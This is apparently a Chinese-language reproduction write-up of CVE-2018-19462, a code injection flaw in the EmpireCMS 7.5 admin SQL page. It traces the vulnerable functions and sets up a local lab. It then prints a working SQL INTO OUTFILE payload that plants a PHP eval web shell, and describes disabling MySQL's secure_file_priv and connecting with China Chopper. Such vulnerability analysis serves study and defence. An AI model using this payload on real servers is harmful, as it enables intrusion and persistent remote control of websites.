帝國CMS(EmpireCMS) v7.5 程式碼注入分析(CVE-2018-19462)
帝國CMS(EmpireCMS) v7.5 程式碼注入分析(CVE-2018-19462)
一、漏洞描述
EmpireCMS7.5及之前版本中的admindbDoSql.php檔案存在程式碼注入漏洞。該漏洞源於外部輸入資料構造程式碼段的過程中,網路系統或產品未正確過濾其中的特殊元素。攻擊者可利用該漏洞生成非法的程式碼段,修改網路系統或元件的預期的執行控制流。
二、影響版本
EmpireCMS<=7.5
三、環境搭建
1、官方下載EmpireCMS V7.5 下載地址:http://www.phome.net/download/
2、把下載的檔案中的upload下的所有目錄和檔案放入到網站根目錄下
3、修改php.ini配置檔案, PHP環境中必須開啟短標籤,不然安裝會提示無法安裝
4、設定php.ini中 short_open_tag = On,重啟phpstudy
5、然後開始安裝,安裝過程參考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
四、漏洞復現
1、漏洞出現的頁面如下
2、分析原始碼定位漏洞出現的位置在/e/admin/db/DoSql.php,瀏覽程式碼,對sqltext使用RepSqlTbpre函式進行處理
3、跟進RepSqlTbpre函式,發現僅僅對錶的字首做替換,沒有做其他任何處理
4、繼續瀏覽程式碼,發現對$query使用DoRunQuery函式進行處理
5、跟進DoRunQuery函式,可以看到對$sql引數只做了去除空格、以”;”分隔然後遍歷,並你沒有做別的限制和過濾,導致可以執行惡意的sql語句
6、登入後臺,點選如下,輸入一段寫shell的payload,payload內容如下:
select '<?php @eval($_POST[1])?>' into outfile 'C:/phpStudy/WWW/empirecms/shell.php'
7、點選”執行SQL”,提示錯誤,是由於mysql安全限制的原因
8、修改mysql的配置檔案, 在[mysqld] 下新增條目: secure_file_priv =,儲存之後,然後重啟mysql
9、再次執行SQL語句,可以看到成功執行SQL語句
10、檢視是否成功上傳shell
11、菜刀連線,成功getshell
-------------------------------------------------------------------------------------------------------------
參考: http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201906-306
https://github.com/novysodope/empireCMS7.5/blob/master/getshell